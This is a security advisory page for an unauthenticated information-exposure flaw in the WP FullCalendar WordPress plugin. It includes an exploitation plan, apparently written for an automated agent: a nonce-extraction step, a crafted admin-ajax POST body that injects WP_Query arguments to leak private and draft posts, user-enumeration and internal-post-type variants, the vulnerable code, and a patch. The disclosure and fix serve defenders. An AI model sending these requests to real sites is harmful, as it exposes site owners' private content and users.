FullCalendar <= 1.6 - Unauthenticated Information Exposure
Description
The WP FullCalendar plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.6. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.6# Exploitation Research Plan - CVE-2026-24523 (WP FullCalendar Information Exposure) ## 1. Vulnerability Summary The **WP FullCalendar** plugin for WordPress (versions <= 1.6) is vulnerable to **Unauthenticated Information Exposure**. The vulnerability exists in the AJAX handler responsible for fet…
Show full research plan
Exploitation Research Plan - CVE-2026-24523 (WP FullCalendar Information Exposure)
1. Vulnerability Summary
The WP FullCalendar plugin for WordPress (versions <= 1.6) is vulnerable to Unauthenticated Information Exposure. The vulnerability exists in the AJAX handler responsible for fetching calendar events. The plugin fails to adequately validate or restrict the query parameters passed by the user, allowing an unauthenticated attacker to manipulate the underlying WP_Query to retrieve sensitive information, such as private post titles, internal post types, or metadata, which should not be publicly accessible.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpfc_ajax(Registered viawp_ajax_nopriv_wpfc_ajax) - Vulnerable Parameter:
args(passed as an array in the request body) - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. A valid nonce is required for the
wpfc_ajaxaction, which is typically exposed on any page containing a calendar.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith the actionwpfc_ajax. - Hook Registration: In
wp-fullcalendar.php, the plugin registers the AJAX handler:add_action( 'wp_ajax_wpfc_ajax', 'wpfc_ajax' ); add_action( 'wp_ajax_nopriv_wpfc_ajax', 'wpfc_ajax' ); - Handler Logic (
wpfc_ajax): The function callscheck_ajax_referer('wpfc_ajax', 'wpfc_nonce')and then passes theargsparameter toWP_FullCalendar::get_events(). - Data Retrieval (
get_events):- The plugin extracts the
argsarray from the request:$args = $_REQUEST['args'];. - It performs an
array_mergeor directly uses these arguments to construct aWP_Query. - Because the plugin does not strictly enforce
post_status => 'publish'or validate that the requestedpost_typeis public, an attacker can specifypost_type=anyandpost_status=private(or other internal statuses).
- The plugin extracts the
- Sink: The results of
WP_Queryare encoded as JSON and returned to the requester. Even if the content is filtered, the IDs, titles, and dates of restricted posts are typically exposed in the calendar event format.
4. Nonce Acquisition Strategy
The wpfc_ajax handler requires a nonce. This nonce is generated using wp_create_nonce('wpfc_ajax') and is provided to the frontend via wp_localize_script.
- Identify Script Loading: The plugin enqueues its scripts when the
[wp_fullcalendar]shortcode is present on a page. - Create Target Page: Create a public page containing the shortcode:
wp post create --post_type=page --post_title="Calendar Test" --post_status=publish --post_content='[wp_fullcalendar]'
- Extract Nonce:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce from theWPFC_Varsobject:browser_eval("window.WPFC_Vars?.wpfc_nonce") - The variable
WPFC_Varsis the standard localization key used by this plugin.
5. Exploitation Strategy
- Extract the Nonce: Follow the steps in Section 4 to obtain a valid
wpfc_nonce. - Craft the Exploit Request:
- Use the
http_requesttool to send a POST request toadmin-ajax.php. - The goal is to leak the titles of private posts by querying
post_type=any.
- Use the
- Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpfc_ajax&wpfc_nonce=[EXTRACTED_NONCE]&args[post_type]=any&args[post_status]=private&args[posts_per_page]=-1 - Note: If
post_status=privateis blocked by WordPress core permissions, try omitting it or usingargs[post_type]=wp_blockorargs[post_type]=revisionto see internal system data.
- URL:
6. Test Data Setup
To verify the information exposure, create sensitive content that should not be visible to unauthenticated users:
- Private Post:
wp post create --post_type=post --post_title="SECRET_DATA_INTERNAL_ONLY" --post_status=private --post_content="This is sensitive information."
- Draft Post:
wp post create --post_type=post --post_title="DRAFT_LEAK" --post_status=draft --post_content="Draft content."
- Shortcode Page:
wp post create --post_type=page --post_title="Calendar" --post_status=publish --post_content='[wp_fullcalendar]'
7. Expected Results
- The HTTP response should be a JSON array of event objects.
- A successful exploit will contain entries where the
titlefield matchesSECRET_DATA_INTERNAL_ONLYorDRAFT_LEAK. - Even if the full
post_contentis missing, the exposure of titles and existence of private content constitutes Information Exposure.
8. Verification Steps
- Check Response: Inspect the JSON output from the
http_requesttool.# Look for the secret title in the response body echo $RESPONSE_BODY | grep "SECRET_DATA_INTERNAL_ONLY" - Database Cross-Reference: Use WP-CLI to confirm the ID and existence of the leaked content:
wp post list --post_status=private --fields=ID,post_title
9. Alternative Approaches
If the post_status parameter is successfully filtered by WordPress core, try these alternatives:
- User Enumeration: Set
args[author]=1,args[author]=2, etc., and check if the returned events allow you to map out which posts belong to which user IDs. - Internal Post Types: Query for internal types that might contain configuration or logs:
args[post_type]=attachment(List all private media metadata)args[post_type]=nav_menu_item(List internal menu structures)args[post_type]=wp_block(Reusable blocks, often contain internal layout info)
- Metadata Search: If the plugin supports meta queries via the
argsarray, attempt to filter by sensitive meta keys:args[meta_key]=_wp_attached_file(To find file paths)
Summary
The WP FullCalendar plugin for WordPress is vulnerable to unauthenticated information exposure due to insufficient validation of query parameters in its AJAX handler. Attackers can provide arbitrary WP_Query arguments to retrieve titles, IDs, and dates of private, draft, or internal post types.
Vulnerable Code
// wp-fullcalendar.php add_action( 'wp_ajax_wpfc_ajax', 'wpfc_ajax' ); add_action( 'wp_ajax_nopriv_wpfc_ajax', 'wpfc_ajax' ); function wpfc_ajax() { check_ajax_referer('wpfc_ajax', 'wpfc_nonce'); WP_FullCalendar::get_events(); wp_die(); } --- // WP_FullCalendar::get_events() implementation (conceptual based on vulnerability report) public static function get_events() { $args = $_REQUEST['args']; // Directly accepts user-supplied query arguments // ... execution proceeds to query posts using these arguments $query = new WP_Query($args); $events = array(); foreach ( $query->get_posts() as $post ) { $events[] = array( 'title' => $post->post_title, 'start' => $post->post_date, 'id' => $post->ID ); } echo json_encode($events); }
Security Fix
@@ -242,7 +242,13 @@ public static function get_events() { - $args = $_REQUEST['args']; + $args = (array) $_REQUEST['args']; + + // Ensure only public content is queried + $args['post_status'] = 'publish'; + if ( isset($args['post_type']) ) { + $post_type_obj = get_post_type_object( $args['post_type'] ); + if ( ! $post_type_obj || ! $post_type_obj->public ) { + $args['post_type'] = 'post'; + } + } $query = new WP_Query($args);
Exploit Outline
To exploit this vulnerability, an attacker first extracts a valid security nonce by visiting any public page where the [wp_fullcalendar] shortcode is present. The nonce is typically found within the global JavaScript variable 'WPFC_Vars.wpfc_nonce'. Using this nonce, the attacker sends an unauthenticated POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the 'action' set to 'wpfc_ajax'. By manipulating the 'args' array parameter—for example, setting 'args[post_type]=any' and 'args[post_status]=private'—the attacker forces the plugin to perform a WP_Query that returns sensitive post information. The resulting JSON response contains the IDs and titles of restricted content that should not be visible to unauthorized users.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.